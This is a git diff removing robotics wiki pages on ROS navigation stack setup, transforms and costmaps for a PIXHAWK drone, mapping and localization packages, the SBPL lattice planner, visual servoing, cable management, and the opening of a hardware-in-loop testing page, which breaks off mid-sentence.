cloud -2. Appropriate transforms - -There are two specific transforms that the navigation stack requires: -1. `map` (Global frame) -> `base_footprint` (Robot body frame) -2. `base_footprint` (Robot body frame) -> `camera_link` (Camera body frame) - -This then gives us a transform between the global frame and the camera frame. The `camera_link` frame should also have the transforms between the `camera_link` frame and the lens frame. When using an RGB-D sensor like the Asus Xtion Pro Live, there are two different lens frames (one for each lens in a stereo camera). Luckily, by running the `openni2.launch` file, the transforms from the two different lenses to the `camera_link` frame are being published automatically. Thus, we only need to get the transform from the `map` to the `base_footprint` frame and the `base_footprint` to the `camera_link`. - -The transformation between the `map` and `base_footprint` is fairly arbitrary. It all depends on where you want to set the origin of the global frame to be. There are two ways that we considered doing this: -1. Set the origin of the global frame to be (0,0,0,0,0,0,0) = (x,y,z,Quat(1x4)) -2. Set the origin to be the original pose that the robot was whenever the node was run. - -For our purposes, we will use the latter. The source code for this approach can found [here](https://github.com/ColumnRobotics/column/blob/SLAM_stuff/src/pose_tf.cpp). -The code is a publisher-subscriber function that subscribes to the odometry information from the quadrotor (through `mavros` from the PIXHAWK flight controller). - -The first time it is run, it sets the first pose that the robot was found in at the beginning of the node's run. It then published the transform as the difference between the original pose and the new pose. One thing that is worth noticing is that we always set the Z direction to be zero. This is due to the fact that the cost map is a 2D costmap and is made for a ground robot. The navigation stack is not designed to work with robots that can fly. The costmap can still be effective, but can only be considered as a 2D map. - -Broadcasting a transform is a simple procedure in ROS. All transforms that are broadcast are also published to the `\tf` topic so that you can visualize them in [rviz](http://wiki.ros.org/rviz). - -You can also publish a static transform which broadcasts a transform continuously. This can be done on the command line or through a launch file. An example of the line in a launch file to publish a static transform is shown below. -``` - -``` - -Let's dissect this: -- The `pkg="tf"` specifies the ROS package that is being run. This is the tf package in ROS. -- The `type="static_transform_publisher"` part specifies the node in the tf package to be run. This is the static transform node that constantly publishes a single transform that doesn't change. -- The `name="camera_to_base"` does not affect performance, but it provides a name that can help in debugging. -- The major part of the code is the `args` part. There are two ways to specify the arguments. You can either specify 6 or 7 initial arguments. - - If you choose 6 you must specify `(x,y,roll,pitch,yaw)`. - - If you specify 7 you must specify `(x,,y,Quaternion(1x4))`. - - Remember that this is the transformation between two frames, so you must specify the transform and not the frames themselves. -- The next two arguments (here `/base_footprint` and `/camera_link`) specify the transformation as `/parent_frame` `/child_frame`. -- The final argument is the rate to be published. - -If you wanted to go with the origin at (0,0,0,0,0,0,0) there is an easy way to do this in [MAVROS](http://wiki.ros.org/mavros). MAVROS is a ROS wrapper for [MAVlink](https://en.wikipedia.org/wiki/MAVLink) which is a communication protocol that the PIXHAWK flight controller uses. In order to get mavros, you can run the following command in your terminal: -``` -$ sudo apt-get install ros-indigo-mavros` -``` -Once mavros is installed, you can run mavros with two different commands depending on which version of the flight controller firmware you are running: [PX4](http://dev.px4.io/) or [APM](http://ardupilot.org/ardupilot/index.html). -- PX4: `$ roslaunch mavros px4.launch` -- APM: `$ roslaunch mavros apm.launch` - -The PX4 firmware stack is the one recommended, because it is made for developers unlike the APM planner which is designed for products. The Iris+ originally came with the APM firmware, but it is quite an easy shift to the PX4 firmware. If you are running the PX4 firmware, you can change the config file in your MAVROS folder in order to have it publish the transforms that you want. You can get to this file by running the command: -``` -$ roscd mavros -``` -The source code for MAVROS, which will be similar to the folder you will find by running the above command can be found at this [link](https://github.com/mavlink/mavros/tree/master/mavros/launch). - -You will want to find the file named `px4_config.yaml` or `apm_config.yaml` depending on which of the flight controller firmware you are running. If you are running the PX4 firmware, you are going to want to open `px4_config.yaml` and find this section: - -![Code Snippet](/assets/images/ROSCostMaps-2dba7.png) - -Once you find it, you will want to change: -- `frame_id: "local_origin"` to `frame_id: "map"` -- `child_frame_id: "fcu"` to `child_frame_id: "base_footprint"` -- `send: false` to `send: true` - -This will get MAVROS to publish the frames correctly, and you will have the correct transformation between `map` and `base_footprint`. - -You can find the transform between `base_footprint` and `camera_link` yourself and use the static publisher `.launch` file to publish a single transform. If your camera is attached to the base, you can just find the (x,y,roll,pitch,yaw) between the frames. Once you have these, you can then just change the arguments and all of your transforms will be broadcast correctly. - -Now that we have the transforms correct and the depth information publishing, we can begin to start looking at the navigation stack configuration files. - -## Setting up the cost map configuration files -This again comes from the navigation stack setup [robot tutorial](http://wiki.ros.org/navigation/Tutorials/RobotSetup) that we mentioned earlier. I will explain how we set these configuration files up for our robot. - -### Common costmap configs -The link to our paramaters file can be found [here](https://github.com/ColumnRobotics/column/blob/SLAM_stuff/costmap_common_params.yaml). - -The following part of the code describes to the costmap the footprint of the robot. It will be centered on the base_footprint frame and will extend to the footprint that you specify below in meters. The padding will specify if you want to create a little bit of a cushion between your footprint and the obstacles. The footprint should be calculated yourself and is very important. It will tell the planner of collisions. The inflation radius determines how much the obstacle is inflated. This is discussed in the inflation section above. -``` -footprint:[[ 0.3, 0.3], [-0.3, 0.3], [-0.3, -0.3], [ 0.3, -0.3]] -footprint_padding: 0.03 -inflation_radius: 0.55 -``` - -The next part is the most important as it will cause the costmap to fail if not specified correctly. We must tell the navigation stack which topic to listen to for the point cloud information. We must also specify the type of the source so that it knows how to handle it. -``` -observation_sources:point_cloud_sensor - -point_cloud_sensor:{sensor_frame: camera_rgb_frame, data_type: PointCloud2, topic: /camera/depth_registered/points, marking: true, clearing: true} -``` -We are using an RGB-D sensor, and so we supply it with `point_cloud_sensor` for the `observation_sources` parameter. - -The next section defines the `point_cloud_sensor`. We must specify the frame that we are looking in. This frame should be the frame that the point cloud information is in. We get this frame from the tf information that is posted by OpenNI. The data type is PointCloud2. We can find this by running the command -``` -$ rostopic info -``` -On the topic that is publishing the point cloud information. - -### Local and global costmap configs -These configuration files are more self-explanatory and are found here: -- [local_costmap_params.yaml](https://github.com/ColumnRobotics/column/blob/SLAM_stuff/local_costmap_params.yaml) -- [global_costmap_params.yaml](https://github.com/ColumnRobotics/column/blob/SLAM_stuff/global_costmap_params.yaml) - -### Move Base Launch File -The launch file that we use, `move_base.launch`, is found [here](https://github.com/ColumnRobotics/column/blob/SLAM_stuff/launch/move_base.launch). - -The early parts of the file are not informative and are setting up the transforms that I mentioned earlier. The bottom part is what you need to run: -``` - - - - - - - - - - - - -``` -### How to run the setup -In order to run the setup you must first run OpenNI in order to get your transforms from the lenses to `camera_link`. And then you must publish the transform from the map to the `base_transform` and the `base_transform` to the camera_link. - -Our setup can be run by issuing the following commands in separate terminals or in a bash script. -``` -$ roslaunch openni2_launch openni2.launch depth_registration:=true -$ roslaunch mavros px4.launch -$ roslaunch column move_base.launch -``` -### Output -The output of the costmap is shown here. -![CostMap Output](/assets/images/ROSCostMaps-8c746.png) - -## Communications with PIXHAWK -The APM firmware stack is not as powerful as the PX4 firmware. In order to get communication from the PIXHAWK flight controller to the onboard computer you need to use the Telem 1 or Telem 2 port to transfer information through UART. More information can be found [here](http://ardupilot.org/copter/docs/common-telemetry-port-setup-for-apm-px4-and-pixhawk.html). You can also transfer through USB, which is often unreliable, however. - - -/wiki/state-estimation/ros-mapping-localization/ ---- -date: 2017-08-15 -title: ROS Mapping and Localization ---- -## Mapping -To map the environment, there are many ROS packages which can be used: -1. #### [Gmapping](http://wiki.ros.org/gmapping) - - Gmapping requires odometry data from the mobile robot. So, if one has odometry data coming from the robot, Gmapping can be used. -2. #### [Hector Mapping](http://wiki.ros.org/hector_mapping) - - The advantage of using Hector Mapping is that it does not need Odometry data and it just requires the LaserScan data. Its disadvantage is that it does not provide loop closing ability but it is still good for real-world scenarios specially when you do not have odometry data. - - Even if one has odometry data, Hector Mapping is preferred over Gmapping. Hector Mapping also gives good pose estimates of the robot. - - Using Hector Mapping, one can create a very good map of the environment. The other - option is to generate a map in softwares like Photoshop. However, one should make sure to have a proper resolution while making a map in Photoshop. - -## Localization -#### [AMCL](http://wiki.ros.org/amcl) -For localization of the robot, the ROS package of AMCL (Adaptive Monte Carlo -Localization) works well. It is straightforward to run the AMCL ROS package. AMCL can not handle a laser which moves relative to the base and works only with laser scans and laser maps. The only thing which should be taken care of is that it requires an odometry message. There are different ways to generate this odometry message. The odometry data can be taken from wheel encoders, IMUs, etc.. which can be used to generate the odometry message which can be supplied to AMCL. Another neat trick is to use pose obtained from the Hector mapping to generate an odometry message which can be then supplied to AMCL. If Hector mapping pose -is used to generate odometry message, then no external odometry is required and the result is -pretty accurate. - -/wiki/state-estimation/ros-navigation/ ---- -date: 2017-08-15 -title: Setting up the ROS Navigation Stack for Custom Robots ---- - -## Dealing With Transforms -Setting up the ROS navigation stack on a robot that is not officially supported by ROS/3rd party is little bit tricky and can be time consuming. The [robot setup guide](http://wiki.ros.org/navigation/Tutorials/RobotSetup) is informative and helpful but can be confusing to many simply because it goes over a variety of steps. After a while, people may end up just following the lines without actually understanding the underlying reasons. This post tries to complement the information available on the ROS wiki and elsewhere to provide a better understanding of the components of navigation stack for a custom built robot. - -It is easy to follow the ROS wiki on setup and configuration of the navigation stack on a robot. This series of posts outline the procedure with in-place reference to the ROS wiki and complementary information to help one better understand the process. The following post is the first one in the series which deals with the coordinate transform setup process. - -### Setup the coordinate transform tree for the robot -This involves defining the physical coordinate transform between different high-level components of the robot. This could be the transform between the coordinate axis of the base of the robot and the LIDAR and/or Kinect and/or the IMU and/or etc. depending on the sensors present on the robot. Once the tf tree is defined, converting a point represented in one coordinate frame into any other coordinate frame present in the tree will be taken care by ROS libraries. For example, the position of an object can be obtained from the RGB-D data from the kinect. To command a manipulator to grasp the object, the position of the object has to be converted to the manipulator's frame of reference. If these transforms are defined in the tf tree, we can get the transformed point with a few lines of code. The following C++ code snippet illustrates how to get the transformed point. -``` -geometry_msgs::PointStamped pt_to_be_transformed; -geometry_msgs::PointStamped transformed_pt; -pt_to_be_transformed.header = kinectPtCloud->header; -pt_to_be_transformed.point.x = kinectPtCloud->points[1].x; -pt_to_be_transformed.point.y = kinectPtCloud->points[1].y; -pt_to_be_transformed.point.z = kinectPtCloud->points[1].z; - -tf::TransformListener manipulator_IK_goal_listener; -manipulator_IK_goal_listener.transformPoint("target_frame", pt_to_be_transformed, transformed_pt); -``` - -Follow the [transform configuration guide](http://wiki.ros.org/navigation/Tutorials/RobotSetup/TF) to setup the coordinate frames and the transform trees. The guide should be straight forward to understand and follow. What the guide does not tell us is what to do when things go wrong. When dealing with custom robots, quite often the set up will be different from the standard wiki setups and guides but the procedure should be the same. Once the tf tree is defined, we can debug or figure out most of the problems by looking at the transform configuration tree. The coordinate transform tree can be visualized by using the following command: -``` -rosrun tf view_frames -``` - -This will generate a file 'frames.pdf' in the current directory which will contain information about the existing coordinate frames, the links between two frames, their publishing frequencies etc. - -### Debugging example -An example tf tree with a robot setup with a laser scanner that uses hector mapping for scan matching and visual odometry is shown in the figure below. -![Example TF Tree with Laser Scanner](/assets/images/ROSNavigation-d06e2.png) - -If someone is expecting their robot to navigate with the above tf configuration, they will have a hard time seeing anything move. As you can guess from the above coordinate transform tree, the tf tree is not complete. The path planner will be happy with the above configuration because it can get the laser scan matching at /laser with respect to the world coordinate frame but the robot base will not be able to command the wheel actuators. The error can be fixed by adding the transform between the world coordinate frame and the wheel odometry frame of the robot and the resulting tf tree is shown below: - -![Correct TF Tree with Laser Scanner](/assets/images/ROSNavigation-7d9d1.png) - -Other useful tf tools for debugging are `tf_echo` and `tf_monitor` - -### Additional Notes on Transforms -Refer to the [tf setup page on ROS wiki](http://wiki.ros.org/navigation/Tutorials/RobotSetup/TF) for code samples to write a transform publisher and a transform listener. Do note that it is not necessary to write dedicated nodes for publishing/listening to transforms. A transform can be published or subscribed from any ROS node. Another point to be noted is that, when you are using an URDF (for describing your sensor, manipulator etc.) the `robot_state_publisher` will publish the transforms from the URDF and therefore there is no need to publish the transforms separately. The r`obot_state_publisher` reads the description of the robot from the URDF (which specifies the kinematics), listens to the state of the joints/frames and computes the transforms for all the frames. - -If the robot has no movable fixtures/sensors/devices (for example is the Kinect/LIDAR is fixed on the robot without any actuation) then, the `static_transform_publisher` node can be used to define the transformation between these immovable fixtures/sensors/devices to a fixed frame on the robot (usually the robot base). A static transform can be easily setup from the command line using the following line: -``` -rosrun tf2 static_transform_publisher x y z yaw pitch roll frame_id child_frame_id period(milliseconds) -``` - -## Choosing the right Localization and Mapping Tools -After setting up the tf tree, sensor sources and the odometry information for your robot, the next step is to implement localization algorithms/mapping algorithms or Simultaneous Localization and Mapping(SLAM) algorithms. Although quite a few packages exist on the ROS repository, people often get confused on what to use for their robot. This post tries to provide you with some information that will complement the information present on the ROS wiki pages to help you choose the right set of algorithms/packages. - -If you have tried at least once to look at the navigation stack in ROS, you must be aware of Gmapping, Hector mapping, robot_pose_ekf, robot_localization and AMCL. Let us quickly look at when to use these packages and what each one of them require. - -1. Gmapping: - - When to use this? - - Use this SLAM algorithm/package if you want to create a floor plan/ occupancy grid map using laser scans and pose information of the robot. Note that this algorithm can create only a 2D occupancy grid map. It should be sufficient for any ground robot that always navigates on a given plane. - - What does it require? - - It requires `sensor_msgs/LaserScan` topic ( laser scan source) and the `tf/tfMessage` topic (pose of the robot) to be published. -2. Adaptive Monte Carlo Localization (AMCL): - - When to use this? - - As the name suggests, this algorithm provides localization for your robot. It is a particle filter based probabilistic localization algorithm which estimates the pose of a robot against a known given map.Yes, AMCl requires a map to start with. In a nutshell, AMCL tries to compensate for the drift in the odometry information by estimating the robot's pose with respect to the static map. - - What does it require? - - It requires `nav_msgs/OccupancyGrid` (map) , `sensor_msgs/LaserScan` topic ( laser scan source), `tf/tfMessage` topic (pose of the robot) and the `geometry_msgs/PoseWithCovarianceStamped` (initial pose of the robot) to be published. -3. Robot_pose_EKF: - - When to use this? - - If you have different sensors that can measure the position/velocity of the robot, for example if you have IMU, wheel encoders and a visual sensor all of which can provide the odometry information of the robot, you can use this package to fuse all the odometry information along with the dynamic model of the robot to produce a single odometry source which is more reliable that any of the individual source of information on its own. As you all can guess, it is essential a Kalman filter which uses the robot's motion model along with the measurements/observations to provide a better estimate of the robot's pose (position and orientation). - - Note that the output of this package on `robot_pose_ekf/odom` or `robot_pose_ekf/odom_combined` gives only the 6D pose of the robot and not velocity. - - What does it require? - - It requires `nav_msgs/Odometry` (x,y,theta from the wheel encoders), `sensor_msgs/Imu` (3D orientation from the IMU. Roll & Pitch are absolute values with respect to the world frame and the Yaw value is the angle of the robot base frame with respect to the world frame) and the `nav_msgs/Odometry` (visual odometry providing the 3D pose). -4. Robot_Localization: - - When to use this? - - Use this when `robot_pose_ekf` is not enough for your robot! This package offers all the goodness of robot_pose_ekf and more. It provides non-linear state estimation using the Extended Kalman Filter (EKF) and the Unscented Kalman Filter (UKF) to fuse information from arbitrary number of sensors. It also provides `navsat_transform_node` which helps in integrating GPS data (fixes) for the robot's localization. The following picture from the Wiki is informative: -![Robot_Localization Diagram](/assets/images/ROSNavigation-72039.png) - - What does it require? - - It requires `/odometry/filtered` topic of type `nav_msgs/Odometry`, `/imu/data` topic of type `sensor_msgs/Imu` and the `/gps/fix` topic of type `sensor_msgs/NavSatFix` - -### Additional Considerations -For Gmapping, AMCL, and Robot_Pose_EKF: - - All the three sources of information are not required at every instance of fusion. This means that the sensor information can all arrive at different rates and it is okay if some measurements are lost. For the package to work, apart from the IMU measurements, either the wheel encoder measurements or visual odometry measurements should be present. - - With every sensor source, a covariance (uncertainty) value has to be supplied. Since the wheel encoders can only measure x,y and the theta (2D pose) it's covariance values for the other values of the 3D pose (z, roll, pitch) should be set to a very high value as it does not measure them. -For Robot_Localization: - - There is no restrictions on the number of the sensor sources. It even works with redundant sensor information like multiple IMUs and multiple odometry information. - - Ability to discard a particular sensor's measurements in software on a case by case basis. - - Similar to the robot_pose_ekf package and as with any Kalman filter based pose estimators, covariance estimates in the form of `geometry_msgs/PoseWithCovarianceStamped`, or `geometry_msgs/TwistWithCovarianceStamped` messages should also be made available along with the sensor information. - - -/wiki/state-estimation/sbpl-lattice-planner/ ---- -date: 2017-08-15 -title: SBPL Lattice Planner ---- -This tutorial covers implementing the Search Based Planning Lab's Lattice Planner in ROS indigo - -## What is the problem to install SBPL_lattice_planner? -When you try the official way to install sbpl_lattice_planner, you'll get some below error because navigation_experimental package which include sbpl_lattice_planner is not being maintained in the ROS Indigo version and has some compatibility problem with recent version. -``` -git clone https://github.com/ros-planning/navigation_experimental.git - --- +++ processing catkin package: 'assisted_teleop' --- ==> add_subdirectory(navigation_experimental/assisted_teleop) --- Using these message generators: gencpp;genlisp;genpy -CMake Error at navigation_experimental/assisted_teleop/CMakeLists.txt:25 (find_package): - By not providing "FindEigen.cmake" in CMAKE_MODULE_PATH this project has - asked CMake to find a package configuration file provided by "Eigen", but - CMake did not find one. -``` - -## How to resolve the build error -So, we need other way to get around this error, there is other sbpl_lattice_planner maintained by Technische University Darmstadt. -``` -git clone https://github.com/tu-darmstadt-ros-pkg/sbpl_lattice_planner.git -``` -Catkin_make would succeed to build the sbpl_lattice_planner. If not, there is some package dependency problem with regards to the SBPL, you can install SBPL library by apt-get. -``` -sudo apt-get install ros-indigo-sbpl -``` - -## Furthure Reading -1. Navigation Experimental Git: https://github.com/ros-planning/navigation_experimental -2. SBPL_lattice_planner in `tu-darmstadt-ros-pkg` Git: https://github.com/tu-darmstadt-ros-pkg/sbpl_lattice_planner - - -/wiki/state-estimation/visual-servoing/ ---- -date: 2019-11-13 -title: 'Visual Servoing' -published: true ---- -## Visual Servoing Motivation - -Visual servoing is a technique which uses feedback from a vision sensor to control the motion of a robot. This idea was primarily used to control the motion of robot arms and is useful when it's difficult to find an analytical solution to the inverse kinematic problem. We have seen visual servoing being applied to mobile robots in applications with poor state estimation. -This page highlights the use of visual servoing to control the motion of a drone. Our application was to control a drone such that it aligns perfectly over a block. This is a hard problem even if the exact coordinates of the block is known since the primary state estimation method is obtained by fusing IMU and GPS data. Hence this would allow us to be around a 2m radius from the known position and we will execute visual servoing in order to refine the position. Our tests resulted in achieving a final position accuracy of around 20cm with this strategy. -The following sections describe the visual servoing forumulation and we present our implementation and results using a DJI M210 drone. - -## Visual Servoing Variants - -There are two main visual servoing strategies and they differ based on the formulation of the state vector: - -1. Pose Based Visual Servoing (PBVS): In this method, the pose of an object in the image is estimated and the 3D pose of the robot relative to the camera is computed. This pose can directly provide a state estimate to the robot and the motion can be computed to minimize the error between the desired and current pose using direct feedback control. -2. Image Based Visual Servoing (IBVS): In this method, feature points in the image are computed and the error between the desired and current image coordinates is mapped to task space velocities that would be minimized using a velocity controller. This method is more robust to errors in measurements since it doesn't require estimating a 3D pose from the image. We can directly control the robot from information that could be accurately computed in the image. - -Our implementation uses as IBVS approach since our position state estimate is noisy. We will be able to control the robot by directly tracking desired instantaneous velocities instead of a goal position. The DJI M210 drone allows us to control the robot by sending velocity commands and this makes the IBVS method ideal for our application. - -## Visual Servoing Formulation -The aim of visual servoing is to minimize the error \\( e(t) \\) -where \\( \begin{equation} \mathbf{e}(t)=\mathbf{s}(\mathbf{m}(t), \mathbf{a})-\mathbf{s}^{*} \end{equation} \\) - -The vector \\( m(t) \\) is a set of image measurements (e.g., the image coordinates of interest points or the image coordinates of the centroid of an object). The vector \\( s^* \\) contains the desired values of the features. -For a 3D point with coordinates \\( \mathbf{X} = (X,Y,Z) \\) in the camera frame, which projects in the image as a 2D point with coordinates \\( \mathbf{x} = (x,y) \\) we have -\\[ x = X/Z = (u - u_0)/p_x \\] -\\[ y = Y/Z = (v - v_0)/p_y \\] -where \\( \mathbf{m}=(u,v) \\) gives the coordinates of the image point expressed in pixel units, and \\( \mathbf{a}=(u_0,v_0, p_x,p_y) \\) is the set of camera intrinsic parameters: \\( u_0 \\) and \\( v_0 \\) are the coordinates of the principal point, while \\( p_x \\) and \\( p_y \\) are the ratio between the focal length and the size of a pixel. -Let the spatial velocity of the camera be denoted by \\( v_c = (v_c , \omega_c ) \\), with \\( v_c \\) the instantaneous linear velocity of the origin of the camera frame and \\( \omega_c \\) the instantaneous angular velocity of the camera frame. -The relationship between \\( \mathbf{\dot{e}} \\) and \\( v_c \\) is given by: \\[ \begin{equation} \mathbf{\dot{e}}=\mathbf{L_x v_c} \end{equation} \\] - -where \\( L_e \in R_{k \times 6} \\) is the interaction matrix and is given by :- -\\[ \begin{equation} \begin{bmatrix} -1/Z & 0 & x/Z & xy & -(1+x^2) & y\\\0 & -1/Z & y/Z & 1+y^2 & -xy & -x \end{bmatrix} \end{equation} \\] -Considering \\( \mathbf{v_c} \\) as the input to the robot controller, and if we would like for instance to try to ensure an exponential decoupled decrease of the error, we obtain:- -\\[ \mathbf{v_c} = -\lambda \mathbf{l_x^+ e} \\] -In the matrix \\( L_x \\) , the value \\( Z \\) is the depth of the point relative to the camera frame. - -For our application for using the quadcopter to servo over a block, the interaction matrix would be of the form \\( L_e \in R_{k \times 4} \\) as its movement is constrained in \\( x,y,z,\psi \\). - -## Visual Servoing Application -We used the formulation described above in order to build an application where the drone uses 4 corners of a block as feature points in the image in order to align over the block. The desired coordinates of the feature points were used as input and the servoing system computed the required velocities in order to move towards the desired configuration. We made sure to clip the output velocities to a value of 0.4m/s for safety and we were able to successfully servo over the block. We also needed to make sure that we are servoing at an appropriate height in order to ensure the block stays in the field of view. - -| ![Visual Servoing in action](/assets/images/state-estimation/servoing-action.png) | -|:--:| -| *Visual Servoing in action from the onboard camera* | - - -## Further Reading -- [VISP: Visual Servoing Platform](https://visp.inria.fr/) -- [Visual Servo control, Part 1: Basic Approaches](https://hal.inria.fr/inria-00350283/document) -- [Image Moments: A General and Useful Set of Features for Visual Servoing](https://hal.inria.fr/inria-00352019/document) diff --git a/wiki/system-design-development/__all_subsections.md b/wiki/system-design-development/__all_subsections.md deleted file mode 100644 index e73fc0ca..00000000 --- a/wiki/system-design-development/__all_subsections.md +++ /dev/null @@ -1,544 +0,0 @@ -/wiki/system-design-development/cable-management/ ---- -date: 2017-08-15 -title: Cable Management ---- -Effective cable management is essential for servicing, debugging and creating reliable robotic systems. Cabling is often regarded as one of the less glamorous parts of electrical engineering, but it is an essential and an extremely important part of creating a complete system. - -This page highlights the important steps for cable management including **Planning, Cable Creation and Installation.** If you decide to only read one part of this page, read the **Planning** section. This is the most important part of cable management that is often skipped. It's hard to skip the other two steps. - -To illustrate its importance imagine the following scenario: - -You are at the final integration steps of your project and something isn't working. You start by checking out the hardware and see Figure 1. - -![Cable Management Gone Wrong](/assets/images/system-design-development/CableManagement-c5b3a.png) - -**Figure 1: Cable management gone wrong** - -You spend all night figuring out what wires go where and eventually find that one of your subsystems was unplugged. Unfortunately, that was all of the time you had allocated to working on the project. This simple problem could have been solved in minutes with proper cable management - -## Planning - -### Understanding the Electronics Used in Your System -The first step to planning is to understand how all of your hardware connects in your system. One way to do this effectively is to create a wiring block diagram. The main purpose of this diagram is to understand all of the interfaces on your electronics and how they connect to different subsystems. Don't worry about the details of the signals of the wires just yet. Just try and get a high level picture of your system. Figure 2 shows a typical wiring block diagram. Notice how much of the detail is left out and cables are simply represented by one line. This abstraction is meant to highlight the main purpose of representing system connectivity. This diagram can also be used later as a guide for someone who is less familiar with the electrical system. - -If this is your first time creating a wiring diagram for your system you will probably already notice problems with your system outside of cabling! For example, you might notice that you have 5 auxiliary devices that you plan to connect to your main computer, but it only supports 3. These are huge benefits that only come from effective planning. You may also find that some of the connections in your system are undefined. That's okay! Define them if possible and if not, make sure that you have a plan for when they do become defined. - -Note: in systems engineering you will be required to create a cyberphysical architecture for your system. This diagram may be similar, but they are still fundamentally different. Notice how here we are explicitly differentiating cables, and boards. We get more information from a cable management perspective this way. For example notice how, in **Figure 2**, cable 3 only has one plug. This tells us that Sensor 1 has an unremovable cable attached to it. - -![Wiring Managment](/assets/images/system-design-development/CableManagement-b3a03.png) - -**Figure 2: Example wiring block diagram of 2 circuit card assembly boards and 1 sensor connected by three cables. Here the JX labels stand for the jacks on the different circuit boards and the PX stand for the plugs of the cables.** - -### Understanding the Connections Used in Your System -Now that you have outlined all of the different boards and connections it is time to go one level deeper and start defining each cable. If you are using mostly commercial off-the-shelf (COTS) boards and sensors it is possible that these cables are already defined. If that is the case simply make sure that you understand all of the wiring and signals from each board. - -If you are defining your own connections it is time to make some cable wiring diagrams. You can imagine these diagrams as a zoomed in detailed picture of each of the cables in your wiring block diagram. Figure 3 shows an example cable wiring diagram. It is not necessary to get as detailed as Figure 3. In fact, I've used excel to create very effective wiring diagrams before. The most important objective of these diagrams is to understand the signals and wires on each cable. One more crucial detail highlighted in these diagrams is the length of each cable. Make sure you have a rough idea of how long each cable will be, keyword: rough. You may not be able to determine the exact length of your cable, but going through this exercise will make you start thinking about cable routing. At this step it is necessary to sit down with the mechanical designer of your system and discuss how your cables are physically getting from A to B. - -![Example Cable Wiring Diagram for a USB Cable](/assets/images/system-design-development/CableManagement-654ae.png) - -**Figure 3: Example Cable wiring diagram for a USB cable** - -### Final Notes on Planning -While this is the most important step of cable management, it is also necessary to mention that there is a balance between planning and pragmatism. I guarantee that you will not have time to make detailed diagrams like Figure 3 or even diagrams for every cable that you will be using in your system. Instead, balance planning with common sense. Don't make diagrams for USB cables, or other cables that are already formally defined. At the bare minimum, create a wiring block diagram and basic excel cabling diagram for the custom cables in you system. - -## Cable Creation -After following through with the planning method defined above you should know all of the cables in your system: what subsystems they go to, what signals they carry, and roughly how they will be routed. Next, it is time to explicitly define the components used in your cables as well as the wires used. This step can be seen as an extension to planning and some of it will be implicitly done when you are creating cable wiring diagrams However, there is enough detail to for cable creation to have an entire section. - -## Wiring -### Color Coding -An essential part of making cables is making sure that the wire colors are easily identifiable as certain signals. This will make checking signals and power connections easy. You can use any color code that you want, but a color code for common signals that is given in **Table 1.** - -Signal | Color -----|------ -24V | Red -12V | Green -5V | Brown -RX | Orange -TX | Blue -GND | Black -**Table 1: Example table of wiring colors** - -### Choosing a Wire Gauge -In addition to color coding, it is essential that the correct wire gauge be used so that your wires don't melt. I usually follow the American Wire Gauge Chart [here](http://www.powerstream.com/Wire_Size.htm) - -However, it is important to keep in mind that these numbers are a ballpark estimate when considering the use case for your project. - -### Wire Length -By now it is probably apparent that your initial estimates of cable length were off. If you haven't done this yet, now is the time to do a mock cable routing with the wires you have chosen to figure out the exact cable length to use. Cut to length, measure and update your cabling diagram to reflect the correct length - -### Connector Selection -When picking connectors it is essential to consider the signals that the cables as well the role that the cable will be playing in the system. Some good questions to ask are: - -> How often will I need to unplug and plug this cable? -> -> How much current can this connector carry? -> -> Are these connectors already available to me in the lab? -> -> What crimps and crimper correspond to my chosen connector? - - -Depending on the answer you may choose a certain connector series or you may decide to directly solder to the circuit board if you don't foresee yourself unplugging the cable very often (be careful with this decision). For convenience, pack a connector that is commonly available in the lab and sticking to it for all of the cabling during the project. - -### A Note on Modularity -A very underrated topic in connector selection is modularity and cable re-usability. This is the reason why USB, and RJ45 cables are so great to use. They are symmetrical and easily swappable. This idea can be extended to any cables that you build. There are times where it may make sense to use over-sized connectors (more pins than wires) to allow for easy cable replacements with other similar but different cables. - -#### Crimping -If you do decide to use connectors that require crimps it is important that you know what crimps to use and that they are compatible with some crimper in the lab. Crimps come in all shapes and sizes so for a guide on crimping see your manufacturer's web page. - -## Cable Assembly -### Grouping Wires -Once you know what connector, wires, and crimps to use it is time to assemble the cable. For the most part this is straightforward, but there are some tricks that will make cable management later on easier. First, if you have any twisted pairs in your cable or want to group wires together without additional hardware, you can use the drill trick to make nice looking cables like **Figure 4**. A video of the Twisted Pair Drill Trick can be viewed [here](https://www.youtube.com/watch?v=uTJhrTTl-EE) - -![Twisted Wires Done Using a Drill](/assets/images/system-design-development/CableManagement-6f4d5.png) - -**Figure 4: Twisted wires done using a drill** - -Another way to group wires together is to simply use heatshrink tubing ever 6-12 inches in your cable. Finally, If you have expando sleeves available this is another option for grouping. - -### Labeling -By this point you should know how to create a cable so that it is electrically sound for installation. However, there is still one important step left. You should always label your cable, at the bare minimum with the cable name and preferably also with the designators that you outline in your wiring block diagram. - -### Installation -The final step is installing the cables into your system. This step is extremely easy if you were diligent with the previous two steps. If you weren't, then you may find yourself having to recreate cables or rewire some parts. - -If you have a lot of cables in your system, and even if you did a good job at grouping the wires in each cable you may still find yourself with messy cabling. Zip-ties are your friend here. Once you have routed all of the cables in your system, zip-tie the ones that are routed along the same path together. - -### References -1. https://s-media-cache-ak0.pinimg.com/564x/b2/db/43/b2db4385f4faa3fdb542d2d277a3278a.jpg -2. https://www.usb3.com/images/567861.jpg -3. http://inlowsound.weebly.com/uploads/1/9/8/5/1985965/5192126_orig.jpgE - - -/wiki/system-design-development/in-loop-testing/ ---- -# Jekyll 'Front Matter' goes here. Most are set by default, and should NOT be -# overwritten except in special circumstances. -# You should set the date the article was last updated like this: -date: 2022-04-29 # YYYY-MM-DD -# This will be displayed at the bottom of the article -# You should set the article's title: -title: Hardware-in-Loop and Software-in-Loop Testing -# The 'title' is automatically displayed at the top of the page -# and used in other parts of the site. ---- - - -Hardware-in-the-loop (HIL) testing is a test methodology that can be used throughout the development of real-time embedded controllers to reduce development time and improve the effectiveness of testing. As the complexity of electronic control units (ECUs) increases, the number of combinations of tests required to ensure correct functionality and response increases exponentially. - -Older testing methodology tended to wait for the controller design to be completed and integrated into the final system before system issues could be identified. - -Hardware-in-the-loop testing provides a way of simulating sensors, actuators and mechanical components in a way that connects all the I/O of the ECU being tested, long before the final system is integrated. It does this by using representative real-time responses, electrical stimuli and functional use cases - -The term "software-in-the-loop testing", or SIL testing, is used to describe a test methodology where executable code such as algorithms (or even an entire controller strategy), usually written for a particular mechatronic system, is tested within a modelling environment that can help prove or test the so. - -## Need Hardware in Loop and Software in Loop Testing : ADAS usecase - -Primitive techniques for collision and lane change avoidance are being replaced with advanced drive assistance systems (ADAS). These new systems introduce new design and test challenges. Modern ADAS architectures combine complex sensing, processing, and algorithmic technologies into the what will ultimately become the guts of autonomous vehicles. As ADASs evolve from simple collision-avoidance systems to 